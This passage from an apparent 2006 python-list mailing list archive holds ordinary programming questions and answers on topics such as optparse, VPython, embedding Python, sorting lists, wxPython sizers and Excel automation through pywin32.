make it an inner function, because the scope of its service happens to 
be local to the function in which it comes to live. It operates on 
existing variables of what is now its containing function.

   def increment_time (interval_ms):
      have_ms = ((((((((((weeks * 7) + days) * 24) + hours) * 60) + 
minutes) * 60) + seconds) * 1000) + mseconds)
      new_ms = have_ms + interval_ms
      # reconvert
      s = new_ms / 1000.0
      s = int (s)
      ms -= s * 1000       # Was mseconds = new_ms - s * 1000
      m, s = divmod (s, 60)    # Was m, seconds = divmod (s, 60)
      h, m = divmod (m, 60)    # Was h, minutes = divmod (m, 60)
      d, h = divmod (h, 24)    # Was d, hours = divmod (h, 24)
      w, d = divmod (d, 7)     # Was weeks, days = divmod (d, 7)
      return w, d, h, m, s, ms

Functionizing I must change the names of the outer variables. Assigning 
to them would make them local, their outer namesakes would become 
invisible and I'd have to pass them all as arguments. Simpler is 
changing assignees names, retaining visibility and therefore not having 
to pass arguments. In either case I have to return the result for 
reassignment by the call.

   weeks, days, hours, minutes, seconds, milliseconds = increment_time 
(msec)

This is a little like a shop where the mechanics have to get their tools 
and work pieces from the manager and hand them back to him when they're 
done. The following two examples are illustrations of my point. They are 
not proposals for 'improvement' of a language I would not presume to 
improve. 

   def increment_time (interval_ms):
      outer weeks, days, hours, minutes, seconds, mseconds   # 'outer' 
akin to 'global'
      (...)
      mseconds = new_ms - s * 1000        # Assignee remains outer
      m, seconds = divmod (s, 60)
      h, minutes = divmod (m, 60)
      d, hours = divmod (h, 24)
      weeks, days = divmod (d, 7)         # No return necessary

The call would now be:

   increment_time (msec)                  # No reassignment necessary


Hope this makes sense

Frederic




From duncan.booth at invalid.invalid  Sat Oct 14 13:10:52 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 14 Oct 2006 17:10:52 GMT
Subject: optparse: add trailing text in help message?
References: <mailman.465.1160759456.11739.python-list@python.org>
Message-ID: <Xns985CB8CA2F9D3duncanbooth@127.0.0.1>

"Count L?szl? de Alm?sy" <calmasy at gmail.com> wrote:

> Is there a standard way with optparse to include a blurb of text after
> the usage section, description, and the list of options?  This is
> often useful to include examples or closing comments when the help
> message is printed out.  Many of the GNU commands do this.

Yes, but only if you are running in Python 2.5.

>From "What's new in Python 2.5":

> The optparse module was updated to version 1.5.1 of the Optik library.
> The OptionParser class gained an epilog attribute, a string that will
> be printed after the help message, and a destroy() method to break
> reference cycles created by the object. (Contributed by Greg Ward.) 

In other words:

>>> from optparse import OptionParser
>>> usage = "usage: %prog [options] arg1 arg2"
>>> epilog = "that's all folks!"
>>> parser = OptionParser(usage=usage, epilog=epilog)
>>> parser.parse_args(['', '--help'])
Usage:  [options] arg1 arg2

Options:
  -h, --help  show this help message and exit

that's all folks!



From rrr at ronadam.com  Sun Oct  8 12:59:31 2006
From: rrr at ronadam.com (Ron Adam)
Date: Sun, 08 Oct 2006 11:59:31 -0500
Subject: Painless way to do 3D visualization
In-Reply-To: <4oqohkFfm09vU1@uni-berlin.de>
References: <4oqohkFfm09vU1@uni-berlin.de>
Message-ID: <7baWg.2443$fl.1446@dukeread08>

Peter Beattie wrote:
> Hey folks,
> 
> I need to do the following relatively simple 3D programming:
> 
> I want to convert data from four-item tuples into 3D co-ordinates in a
> regular tetrahedron. Co-ordinates come in sequences of 10 to 20, and the
> individual dots in the tetrahedron need to be connected into
> discontinuous lines. A single tetrahedron should contain at least two,
> possibly more, such lines. I would like to show certain similarities in
> the sequences/lines, eg by changing color, thickness, or maybe attaching
> indeces to certain points in a particular sequence.
> 
> I'd welcome suggestions as to what might be the most painless way to
> achieve this in Python. So far, I've only tinkered a little with
> VPython, but the lack of any decent documentation has proved to be a
> major turn-off.
> 
> TIA!

What exactly are the four-items in the tuples?


I think this is what you need along with an example...


      http://www.vpython.org/webdoc/visual/curve.html




from visual import *

# a simple polygon

points = [(0,0,0),(0,1,0),(1,1,0),(1,0,0),(0,0,0)]
curve(pos=points, color=color.red)


# a polygon as separate segments grouped together in a frame.

square2 = frame()
points = [(0,0,1),(0,1,1),(1,1,1),(1,0,1),(0,0,1)]
for i in xrange(len(points)-1):
     curve(frame=square2, pos=[points[i],points[i+1]], color=color.blue)
square2.objects[2].color = color.green   # change a line segments color
square2.objects[2].radius = .02          # change a line segments thickness


# looking at objects after they are made.
print square2
print dir(square2)
print square2.objects
print dir(square2.objects[0])




From fredrik at pythonware.com  Fri Oct  6 06:50:37 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 06 Oct 2006 12:50:37 +0200
Subject: OT Request
In-Reply-To: <1160131350.971760.132110@i42g2000cwa.googlegroups.com>
References: <1160131350.971760.132110@i42g2000cwa.googlegroups.com>
Message-ID: <eg5cdt$dlv$2@sea.gmane.org>

Matthew Warren wrote:

> No problem, and thanks for pointing it out.  It gets silently added on
> its way through, and i just hadnt noticed it in my posts.

oh, no need to apologize.  and it did make a certain sense in some of 
your posts:

> Okok, I'm silly.
> 
> This email is confidential and may be privileged. If you are not the
> intended recipient please notify the sender immediately and delete the
> email from your computer.
> 
> You should not copy the email, use it for any purpose or disclose its
> contents to any other person.
> 
> Please note that any views or opinions presented in this email may be
> personal to the author and do not necessarily represent the views or
> opinions of Digica.



From jweida at gmail.com  Tue Oct 17 12:08:01 2006
From: jweida at gmail.com (Jerry)
Date: 17 Oct 2006 09:08:01 -0700
Subject: Looking for assignement operator
In-Reply-To: <4534edf4$0$24770$426a74cc@news.free.fr>
References: <eh2n08$4ji$1@online.de>
	<1161095199.354431.157660@e3g2000cwe.googlegroups.com>
	<4534edf4$0$24770$426a74cc@news.free.fr>
Message-ID: <1161101280.999698.26520@i42g2000cwa.googlegroups.com>

> class MyClass:Descriptors don't work fine with old-style classes.
Interesting, I have used this construct before in Python 2.4.3 and not
run into the recursion problem you talk about.  Also, it has worked
fine for me.  Perhaps you can post a link to your source so that I
could study it and understand what circumstances my solution works and
what the recommended construct actually is.

> May I kindly suggest that you learn more about properties and test your
> code before posting ?-)
I did test this on Python 2.4.3 in Mac OS X 10.4 and it worked fine.

--
Jerry



From Alain.montmory at thalesgroup.com  Mon Oct  2 07:37:35 2006
From: Alain.montmory at thalesgroup.com (alain MONTMORY)
Date: Mon, 02 Oct 2006 13:37:35 +0200
Subject: "ValueError: Empty module name" on basic import
In-Reply-To: <451D3B25.5090307@thalesgroup.com>
References: <mailman.931.1159533172.10491.python-list@python.org>
	<1159541352.702121.246240@i3g2000cwc.googlegroups.com>
	<451D3B25.5090307@thalesgroup.com>
Message-ID: <4520F9FF.4080807@thalesgroup.com>



alain MONTMORY a ?crit :
> Thank for your response :-)
>
> I have tried (it's my first try ..)  :
> ./TestOfficiel TestPythonFoo multiply 3 2
> and i get :
> [montmory at esoppe1 swigCallPython]$ ./TestOfficiel TestPythonFoo 
> multiply 3 2
> ImportError: No module named TestPythonFoo
> Failed to load "TestPythonFoo"
>
> Then i tried what you suggest below :
> [montmory at esoppe1 swigCallPython]$ python
> Python 2.3.4 (#2, Aug 19 2004, 15:49:40)
> [GCC 3.4.1 (Mandrakelinux (Alpha 3.4.1-3mdk)] on linux2
> Type "help", "copyright", "credits" or "license" for more information.
> >>> __import__("TestPythonFoo")
> <module 'TestPythonFoo' from 'TestPythonFoo.pyc'>
>
> and it works !!!
> why this doesn't work with the api
> pModule = PyImport_Import(pName);
>
>   
> pModule is null after the call
>   
>
> is there a PYTHONPATH to set or semething else...
I put :
export PYTHONPATH=$PYTHONPATH:<dot>
and it works,
thank you,
your response put me on the way...


>
> thanks
>
> Alain
>
> John Machin a ?crit :
>> alain MONTMORY wrote:
>>   
>>> Hello everybody,
>>>
>>> I am a newbie to python so I hope I am at the right place to expose my
>>> problem..... :-[
>>>
>>> I am working on linux mandrake 10.1 with python :
>>> python -V
>>> Python 2.3.4
>>> I am trying o run the example which stay in the documentation in paragraph
>>> http://www.python.org/doc/2.4.2/ext/pure-embedding.html 5.3 Pure Embedding
>>> I download the code example from
>>> http://www.python.org/doc/2.4.2/ext/run-func.txt
>>> I call the file "TestOfficiel.c" and I compile it with :
>>> gcc -g -I/usr/include/python2.3/ TestOfficiel.c -o TestOfficiel
>>> -lpython2.3 -ldl
>>> all is OK (or seems to be...).
>>> as stated in the documentation  I creat a file "TestPythonFoo.py" which
>>> contain
>>> "
>>> def multiply(a,b):
>>>     print "Will compute", a, "times", b
>>>     c = 0
>>>     for i in range(0, a):
>>>         c = c + b
>>>     return c
>>> "
>>> I launch
>>> ./TestOfficiel ./TestPythonFoo.py multiply 3 2
>>> and as a result :
>>> ValueError: Empty module name
>>> Failed to load "./TestPythonFoo.py"
>>>     
>>
>> This is (I believe) because of the "." at the front.
>>
>>   
>>> if I try an absolute path to the python file :
>>> ./TestOfficiel `pwd`/TestPythonFoo.py multiply 3 2
>>> I obtain :
>>> ImportError: No module named
>>> /space/ESOPPE_PROJET/Outils/SwigPython/swigCallPython/TestPythonFoo.py
>>>     
>>
>> It's quite correct, there never could be a module named that. The name
>> of your module is TestPythonFoo -- so all you should have to do is
>>     ./TestOfficiel TestPythonFoo multiply 3 2
>>
>>   
>>> Failed to load
>>> "/space/ESOPPE_PROJET/Outils/SwigPython/swigCallPython/TestPythonFoo.py"
>>>     
>>
>>
>>   
>>> Of course the file exist :
>>> [montmory at esoppe1 swigCallPython]$ ll
>>> /space/ESOPPE_PROJET/Outils/SwigPython/swigCallPython/TestPythonFoo.py
>>> -rwxrwx--x  1 montmory esoppe 126 sep 29 14:04
>>> /space/ESOPPE_PROJET/Outils/SwigPython/swigCallPython/TestPythonFoo.py*
>>>
>>> I found lot of post about "ValueError: Empty module name" but no clear
>>> solution (clear for me...).
>>> What's wrong ?
>>> my python version?
>>> Additionnal informations :
>>> gcc version 3.4.1 (Mandrakelinux 10.1 3.4.1-4mdk)
>>>
>>> Thanks for your help,
>>>
>>> best regards,
>>>
>>> Alain
>>>
>>>
>>>
>>>
>>> --------------070105030901000008070407
>>> Content-Type: text/plain
>>> Content-Disposition: inline;
>>> 	filename="TestOfficiel.c"
>>> X-Google-AttachSize: 2022
>>>
>>> #include <Python.h>
>>>
>>> int
>>> main(int argc, char *argv[])
>>> {
>>>     PyObject *pName, *pModule, *pDict, *pFunc;
>>>     PyObject *pArgs, *pValue;
>>>     int i;
>>>
>>>     if (argc < 3) {
>>>         fprintf(stderr,"Usage: call pythonfile funcname [args]\n");
>>>     
>>
>> "pythonfile" is confusing; it should be "modulename".
>>
>>
>>   
> Yes you are right, but i left the example file "as it is"
>>>         return 1;
>>>     }
>>>
>>>     Py_Initialize();
>>>     pName = PyString_FromString(argv[1]);
>>>     /* Error checking of pName left out */
>>>
>>>     pModule = PyImport_Import(pName);
>>>     
>>
>> As the docs for this function say, it just calls the same routine that
>> is called by the __import__ built-in function. One can experiment with
>> that:
>>
>>
>> OS-prompt>copy con foo.py
>> print 'hello fubar world'
>> ^Z
>>         1 file(s) copied.
>>
>> OS-prompt>python
>> Python 2.4.3 (#69, Mar 29 2006, 17:35:34) [MSC v.1310 32 bit (Intel)]
>> on win32
>> Type "help", "copyright", "credits" or "license" for more information.
>>   
>>>>> __import__("foo")
>>>>>         
>> hello fubar world
>> <module 'foo' from 'foo.py'>
>>   
>>>>> __import__("foo.py")
>>>>>         
>> Traceback (most recent call last):
>>   File "<stdin>", line 1, in ?
>> ImportError: No module named py
>>   
>>>>> __import__("")
>>>>>         
>> Traceback (most recent call last):
>>   File "<stdin>", line 1, in ?
>> ValueError: Empty module name
>>   
>>>>> __import__(r".\foo")
>>>>>         
>> Traceback (most recent call last):
>>   File "<stdin>", line 1, in ?
>> ValueError: Empty module name
>>   
>>>>> __import__(r"./foo")
>>>>>         
>> Traceback (most recent call last):
>>   File "<stdin>", line 1, in ?
>> ValueError: Empty module name
>>   
>>>>> __import__(r"/foo")
>>>>>         
>> Traceback (most recent call last):
>>   File "<stdin>", line 1, in ?
>> ImportError: No module named /foo
>>   
>>>>> __import__(r".foo")
>>>>>         
>> Traceback (most recent call last):
>>   File "<stdin>", line 1, in ?
>> ValueError: Empty module name
>>   
>>
>> Hmmm ... "empty module name" is rather misleading when it starts with a
>> "." -- I can feel a bugfix^^^^^^ enhancement request coming on :-)
>>
>> HTH,
>> John
>>
>>   
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From tiarno at sas.com  Fri Oct  6 09:10:07 2006
From: tiarno at sas.com (Tim Arnold)
Date: Fri, 6 Oct 2006 09:10:07 -0400
Subject: testing machine responsiveness
Message-ID: <eg5kjf$ona$1@foggy.unx.sas.com>

I have a bunch of processes that I farm out over several HPux machines on 
the network. There are 60 machines to choose from and I want to
(1) find out which ones are alive (the 'ping' method below) and
(2) sort them by their current load (the 'get' method below, using the rup 
command)

I'm no expert--I bet what I'm doing could be done better. I'd appreciate any 
tips, caveats, etc.
Thanks in advance for looking at the code.
--Tim Arnold


Say the host names are in a global list tmpList...
#---- The final sorted list of cpus is called as:
cpuList  = [x[1] for x in Machines().get()]

#----
class Machines(object):
    ' List of available, alive machines. '
    def __init__(self):
        global tmpList
        self.asList = [y for y in tmpList if self.ping(y)]
        self.asString = ' '.join(self.asList)

    def ping(self, cpu):
        ''' Determine whether a machine is alive.
            tcp connect to machine, port 7 (echo port).
            Response within 3 seconds -> return true
            '''
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(2)
        try:
            s.connect((cpu,7))
        except:
            return 0
        try:
            s.send('test')
            s.recv(128)
            s.close()
            return 1
        except:
            return 0

   def get(self, maxLoad=3.0,):
        ''' return sorted list of available machines, sorted on load.
            Optionally, specify maxload, default is no more than 3.0
            '''
        tmpDict = {}
        retList = []
        try:
            rup = os.popen('rup %s | sort -n -t, -k4 | grep day' % 
(self.asString))
        except OSError:
            return self.asList

        for s in rup:
            (name, t0) = s.split(' ',1)
            (t1,t2,t3,avgLoad,t4) = s.split(',')
            load = float(avgLoad)
            if load < maxLoad:
                tmpDict['%s.com' % name] = load

        for (l, n) in [(v[1], v[0]) for v in tmpDict.items()]:
            retList.append((l, n))
        retList.sort()
        return retList




From larry.bates at websafe.com  Fri Oct  6 13:59:14 2006
From: larry.bates at websafe.com (Larry Bates)
Date: Fri, 06 Oct 2006 12:59:14 -0500
Subject: Need array help
In-Reply-To: <EkwVg.362$P92.105@trndny02>
References: <EkwVg.362$P92.105@trndny02>
Message-ID: <5e-dnRqTsKLmBLvYnZ2dnUVZ_tOdnZ2d@comcast.com>

Marion Long Jr wrote:
> I am switching from microsoft visual basic programming to python 
> programming. In microsoft
> visual basic you can Dim a variable so that you can add variables by 
> changing the number
> on the end of the variable as in the following example;
> 
> Dim acct(100)
> 
> numoffiles=4
> data=10
> ct=1
> while ct <> numoffiles
> acctfile(ct) = data
> ct= ct + 1
> data= data + ct
> Wend
> The results are;
> acctfile(1)=10
> acctfile(2)=12
> acctfile(3)=15
> 
> And you can compare the values of the new variables;
> if acctfile(1) > acctfile(2) then print "yes"
> if acctfile(2) > acctfile(1) then print "yes"
> 
> when I try to create acctfile(ct) = data I get the following error;
> ***can't assign to function call. Then it gives the program line of the 
> problem
> Here is the progam in python;
> 
> numoffiles=4
> data=10
> ct=1
> 
> while ct != numoffiles:
>     acctfile(ct) =data
>     ct += 1
>     data= data + ct
>     print acctfile(ct)
> 
> Does anybody know how this is done in Python? 
> 
> 

You have two choices in Python: list or array
For simple lists of things use  a list.  If you want to
do vector math or matrix-type calculations look at the
array module.

For you simple example, here is the python code:

acctfile=[]
numoffiles=4
data=10
ct=1
for i in xrange(numoffiles-1):
    acctfile.append(data)
    ct=ct+1
    data=data+ct


There are other ways, but this is closest to what you are
asking for (which I assume is a trivial example).

-Larry Bates


From phez.asap at gmail.com  Sat Oct 21 04:17:32 2006
From: phez.asap at gmail.com (phez.asap at gmail.com)
Date: 21 Oct 2006 01:17:32 -0700
Subject: Good Form
Message-ID: <1161418652.105713.41150@m7g2000cwm.googlegroups.com>

I am new to Python but come from a C++ background so I am trying to
connect the dots :) . I am really liking what I see so far but have
some nubee questions on what is considered good form. For one thing I
am used to class variables being accessable only through methods
instaed of directly refrenced from the object instence. From what I
have read it looks like when you access a class variable directly in
Python it has something in the background that works similar to a
getter of setter.

Would you normally write methods to retrive and set your class
variables or just refrence them directly?



From gagsl-py at yahoo.com.ar  Mon Oct  2 21:01:33 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Mon, 02 Oct 2006 22:01:33 -0300
Subject: Making posts to an ASP.NET webform.
In-Reply-To: <1159805102.970972.59340@b28g2000cwb.googlegroups.com>
References: <1159800922.942615.28120@i42g2000cwa.googlegroups.com>
	<452134c7$0$14008$edfadb0f@dread15.news.tele.dk>
	<1159805102.970972.59340@b28g2000cwb.googlegroups.com>
Message-ID: <7.0.1.0.0.20061002215936.07362f80@yahoo.com.ar>

At Monday 2/10/2006 13:05, Bernard wrote:

> > > Has anyone tried what I'm doing? and if you tried how have you
> > > succeeded getting the data back after the post action?

Use a packet sniffer or something to look at an actual POST that 
works, this way you could see what's missing in your code.


Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From onurb at xiludom.gro  Mon Oct 30 05:17:16 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Mon, 30 Oct 2006 11:17:16 +0100
Subject: stripping parts of elements in a list
In-Reply-To: <1162058434.823541.243860@h48g2000cwc.googlegroups.com>
References: <1162058434.823541.243860@h48g2000cwc.googlegroups.com>
Message-ID: <4545d12e$0$21599$426a74cc@news.free.fr>

CSUIDL PROGRAMMEr wrote:
> folks,
> I am  new to python.
> 
> I have a list made of elements
> 
> ['amjad\n', 'kiki\n', 'jijiji\n']
> I am trying to  get rid of '\n' after each name.
>  to get list as
> ['amjad','kiki','jijiji']
> 
> But list does not have a strip function as string does have.

What would a list.strip() method mean on a list of integers ?

> is there any solutions

mylist = ['amjad\n', 'kiki\n', 'jijiji\n']
print "with map : "
print map(str.lstrip, mylist)
print "with list comprehension :"
print [line.lstrip() for line in mylist]
print "with a for loop :"
strippedlist = []
for line in mylist:
  strippedlist.append(line.lstrip())
print strippedlist

> Is there a way this can be done??

Probably. Reading some CS101 tutorial might be a good idea...

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From jcd at sdf.lonestar.org  Wed Oct 25 12:16:30 2006
From: jcd at sdf.lonestar.org (J. Clifford Dyer)
Date: Wed, 25 Oct 2006 10:16:30 -0600
Subject: Sorting by item_in_another_list
References: <ehk3p8$j3q$1@enyo.uwa.edu.au> <7x1woypbe1.fsf@ruckus.brouhaha.com>
	<IQD%g.15838$Fk1.36230@twister2.libero.it>
Message-ID: <eho2kq$lqc$1@aioe.server.aioe.org>

ZeD wrote:
> Paul Rubin wrote:
> 
>>> A = [0,1,2,3,4,5,6,7,8,9,10]
>>> B = [2,3,7,8]
>>>
>>> desired_result = [2,3,7,8,0,1,4,5,6,9,10]
>> How about:
>>
>>   desired_result = B + sorted(x for x in A if x not in B)
> 
> this. is. cool.
> 

Cool, yes, but I'm not entirely sure it does what the OP wanted.  Partly 
because I'm not entirely sure what the OP wanted.  Counter example:

Given these variables:

A = [0,1,2,3,4,5,6,8,9,10]  # Note 7 is missing
B = [2,3,7,8]

which of the following should the function yield?

desired_result = [2,3,7,8,0,1,4,5,6,9,10]
desired_result2 = [2,3,8,0,1,4,5,6,9,10]

The fact that we are ostensibly sorting A makes me thing it should be 
the latter, but the example given was ambiguous.  If we are in fact 
looking for desired_result2, maybe we should use:

result = [ x for x in B if x in A ] + [ x for x in A if X not in B ]

or like the sibling post suggests: substitute set(A) and set(B) for the 
"in" argument in each comprehension.

Cheers,
Cliff


From B.Ogryczak at gmail.com  Mon Oct 23 12:26:42 2006
From: B.Ogryczak at gmail.com (Bart Ogryczak)
Date: 23 Oct 2006 09:26:42 -0700
Subject: sharing persisten cache between modules
Message-ID: <1161620802.744818.16500@e3g2000cwe.googlegroups.com>

Hi,
I?ve got a problem creating persistent cache, that would be shared
between modules. There a supermodule, which calls submodules. I?d like
submodules to use cache created in the supermodule. The only way I see
right now, is to pass it as function argument, but that would require a
change in API, which I?d prefer to avoid. Is this the only way?



From steven.bethard at gmail.com  Wed Oct 18 14:20:33 2006
From: steven.bethard at gmail.com (Steven Bethard)
Date: Wed, 18 Oct 2006 12:20:33 -0600
Subject: How to execute a linux command by python?
In-Reply-To: <mailman.705.1161192325.11739.python-list@python.org>
References: <a34765230610180737t768b20d5q224adef6fd3fb301@mail.gmail.com>	<eh5gcq$s9c$1@sea.gmane.org>
	<mailman.705.1161192325.11739.python-list@python.org>
Message-ID: <_qqdnZT_B4zz7avYnZ2dnUVZ_sadnZ2d@comcast.com>

Daniel Nogradi wrote:
>> > How to execute a linux command by python?
>> > for example: execute "ls"  or "useradd oracle"
>> > Who can help me?
>>
>> start here:
>>
>>      http://www.python.org/doc/lib/
> 
> And continue here:
> 
> http://www.python.org/doc/lib/os-process.html

You probably should use the subprocess module instead:

http://www.python.org/doc/lib/module-subprocess.html

I've had much better cross-platform results with that.

STeVe


From ed at leafe.com  Tue Oct 31 18:56:22 2006
From: ed at leafe.com (Ed Leafe)
Date: Tue, 31 Oct 2006 18:56:22 -0500
Subject: wxPython TextCtrl - weird scrolling behavior
In-Reply-To: <ZSJ1h.211$1n3.4629@news.tufts.edu>
References: <1162237089.308746.70370@e3g2000cwe.googlegroups.com>
	<PJs1h.204$1n3.4348@news.tufts.edu>
	<1162238656.661097.75180@f16g2000cwb.googlegroups.com>
	<N6t1h.205$1n3.4487@news.tufts.edu>
	<1162240822.260735.316040@e64g2000cwd.googlegroups.com>
	<2yt1h.206$1n3.4433@news.tufts.edu>
	<1162242161.009063.65140@e64g2000cwd.googlegroups.com>
	<ZSJ1h.211$1n3.4629@news.tufts.edu>
Message-ID: <B4766B15-9363-43B6-A89B-A901F544DEF3@leafe.com>

On Oct 31, 2006, at 3:22 PM, John Salerno wrote:

> After I watched the screencasts for how Dabo uses sizers, I really
> understood them a lot better. I've never used Dabo itself for GUI
> design, but the screencast, though it shows them in terms of that
> program, still gives a great visual presentation of how sizers work in
> general and I suggest you take a look at that:
>
> http://leafe.com/screencasts/sizers1.html
> http://leafe.com/screencasts/sizers2.html

	Thanks for the good feedback. It took me a while to wrap my brain  
around sizers when I first started using them; now I hate working  
without them!

	Also, I wanted to mention that our visual Class Designer has another  
helpful feature: you can right-click control to bring up a context  
menu. One of the choices is 'Edit Sizer Settings...', which brings up  
a dialog with all the relevant settings in one place. As you change  
them in the dialog, the design surface updates so that you can see  
the effect of your changes before you commit them. If you don't like  
your changes, click 'Cancel' and things return to the way they were  
before you started.

-- Ed Leafe
-- http://leafe.com
-- http://dabodev.com




From fredrik at pythonware.com  Sun Oct 22 11:01:56 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 22 Oct 2006 17:01:56 +0200
Subject: implementation of "in" that returns the object.
In-Reply-To: <pan.2006.10.22.14.53.47.822302@gmx.net>
References: <mailman.939.1161527588.11739.python-list@python.org>
	<pan.2006.10.22.14.53.47.822302@gmx.net>
Message-ID: <ehg154$m47$1@sea.gmane.org>

Marc 'BlackJack' Rintsch wrote:

>>>>> def inplusplus(value,listObj):
>> ...     for i in listObj:
>> ...             if i is value:
>> ...                     return value
>> ...     return False
>> ...
> 
> def my_in(value, sequence):
>     if value in sequence:
>         return value
>     else:
>         return False

however,

 >>> a = [1.0, 2, 3]

 >>> my_in(1, a)
1
 >>> my_in(2.0, a)
2.0
 >>> my_in(3L, a)
3L

so it all depends on what the OP means by "is in".

</F>



From martin at v.loewis.de  Tue Oct 24 13:40:18 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 24 Oct 2006 19:40:18 +0200
Subject: ANN compiler2 : Produce bytecode from Python 2.5 Abstract Syntax
	Trees
In-Reply-To: <1161682522.256752.56630@i42g2000cwa.googlegroups.com>
References: <mailman.813.1161325547.11739.python-list@python.org>
	<ehffhc$r05$1@news.albasani.net>
	<mailman.997.1161629341.11739.python-list@python.org>
	<ehjah5$bfm$1@news.albasani.net>
	<453d4890$0$22566$9b622d9e@news.freenet.de>
	<1161682522.256752.56630@i42g2000cwa.googlegroups.com>
Message-ID: <453E5002.2020402@v.loewis.de>

Paul Boddie schrieb:
>> Let me second this. The compiler package is largely unmaintained and
>> was known to be broken (and perhaps still is). A replacement
>> implementation, especially if it comes with a new maintainer, would
>> be welcome.
> 
> I don't agree entirely with the "broken" assessment.

I was primarily talking about language support. For quite some time,
the compiler package wasn't able to compile the Python standard library,
until Guido van Rossum (and others) brought it back to work at the last
PyCon. It would simply reject certain more recent language constructs.
In the process of fixing it, it was also found to deviate from the
normal language definition, i.e. it would generate bad code.

Many of these are fixed, but it wouldn't surprise me if there are
still bugs remaining.

Regards,
Martin


From theller at ctypes.org  Thu Oct 19 13:09:46 2006
From: theller at ctypes.org (Thomas Heller)
Date: Thu, 19 Oct 2006 19:09:46 +0200
Subject: pywin32 COM sort in Excel (late binding fails,   early binding
	works) (+py2exe)
In-Reply-To: <1161273426.239477.260660@h48g2000cwc.googlegroups.com>
References: <1161273426.239477.260660@h48g2000cwc.googlegroups.com>
Message-ID: <eh8bgq$ol3$1@sea.gmane.org>

kogrover at gmail.com schrieb:
> ISSUE: COM Excel Sort works with Early Binding, but not Late Binding,
> but py2exe only does Late Binding
> 
> I have code similar to this (type from notes, so there may be a
> typo...)
> 
> import win32com.client
> xl = win32com.client.Dispatch("Excel.Application")
> xl.Visible = False
> xl.ScreenUpdating = False
> wb = xl.Workbooks.Open("h:\\p.xls")
> sht = wb.Sheets("SheetName")     # wb.Worksheets("Sheetname")
> sht.Cells.Sort(Key1=sht.Cells(2,1), Order1=1, Header=1, Orientation=1)
> 
> Python: 2.4.3
> pywin32 200
> py2exe 0.6.5
> Office 2000
> 
> The sort DOES NOT work if called from a normal install (e.g. using late
> binding):  the Header line gets sorted with all the data.
> 
> ID   Value   Mort
> 232   2         54
> 54     33       232
> --->
> 54     33       232
> 232   2         54
> ID   Value   Mort
> 
> 
> HOWEVER, If I run
> 
> makepy.py and select the "Microsoft Excel 9.0" (--> I'm typing this
> from memory!)
> and run it, it creates the GUID'd py file in gen_py
> 
> If I run the above code again (on a clean copy of the xls file), it
> DOES sort the sheet correctly --- the header line is left alone.
> 
> ID   Value   Mort
> 232   2         54
> 54     33       232
> --->
> ID   Value   Mort
> 54     33       232
> 232   2         54
> 
> Normally, this would not be an issue, but when I bundle my app using
> py2exe it does not grab the gen_py stuff.
> 
> Any help appreciated...
> 
You must instruct py2exe to pick up the typelib wrappers, this does
not happen automatically.  IIRC, there's a sample in the distribution
somewhere.

Thomas



From deets at nospam.web.de  Wed Oct 18 15:31:01 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Wed, 18 Oct 2006 21:31:01 +0200
Subject: More Noob Questions
In-Reply-To: <1161193249.636093.206690@e3g2000cwe.googlegroups.com>
References: <1161193249.636093.206690@e3g2000cwe.googlegroups.com>
Message-ID: <4pndnjFjniveU1@uni-berlin.de>

Omar schrieb:
> 1) I'm also learning to program flash movies while I learn to do
> python.  How can one implement flash movies into their python code?

You can't - flash uses action script, a variant of ECMA script. There is 
a PyPy-javascript-backend available, but I guess that's a little bit 
beyond your capabilities. And not really useful for that purpose anyway 
I guess.

Diez


From johnjsal at NOSPAMgmail.com  Thu Oct 26 11:03:09 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Thu, 26 Oct 2006 15:03:09 GMT
Subject: cleaner way to write this?
In-Reply-To: <mailman.1212.1161817253.11739.python-list@python.org>
References: <USN%g.148$1n3.4086@news.tufts.edu>	<j5O%g.150$1n3.4013@news.tufts.edu>	<7xwt6o44um.fsf@ruckus.brouhaha.com>	<%dO%g.151$1n3.4135@news.tufts.edu>	<7x8xj4i5gq.fsf@ruckus.brouhaha.com>	<qHO%g.153$1n3.4133@news.tufts.edu>
	<mailman.1212.1161817253.11739.python-list@python.org>
Message-ID: <N640h.163$1n3.4282@news.tufts.edu>

Steve Holden wrote:

> I suspect you need to use a validator so the user can't click OK until 
> they've put a value int eh text entry item.

wow, didn't think of that. that might end up being simpler than anything 
else i've considered! :)


From martin at v.loewis.de  Mon Oct 23 19:05:33 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 24 Oct 2006 01:05:33 +0200
Subject: encoding of sys.argv ?
In-Reply-To: <20061023130504.26823717@autremonde>
References: <20061023130504.26823717@autremonde>
Message-ID: <453d4abe$0$30307$9b622d9e@news.freenet.de>

Jiba schrieb:
> I use a Linux box, with French UTF-8 locales and an UTF-8 filesystem.
> sys.getdefaultencoding() is "ascii" and sys.getfilesystemencoding()
> is "utf-8". However, sys.argv is neither in ASCII (since I can pass
> French accentuated character), nor in UTF-8. It seems to be encoded
> in "latin-1", but why ?

Let me second Leo Kislov's analysis. They should be encoded in
locale.getpreferredencoding(), which should be UTF-8. Are you
*sure* they aren't encoded in this way?

On my Debian system, I get this:

martin at mira:~/tmp$ echo $LANG
de_DE.UTF-8
martin at mira:~/tmp$ cat a.py
import sys
print sys.argv

martin at mira:~/tmp$ python a.py Martin v. L?wis
['a.py', 'Martin', 'v.', 'L\xc3\xb6wis']

So clearly, my terminal application + shell passes them as UTF-8,
as it should. The terminal application is KDE konsole; the shell
is bash. The shell *pretty likely* passes the arguments "through"
as-read from the terminal, so if you are not seeing UTF-8, you
have managed to misconfigure your terminal.

Regards,
Martin


From martin at v.loewis.de  Thu Oct 26 15:33:30 2006
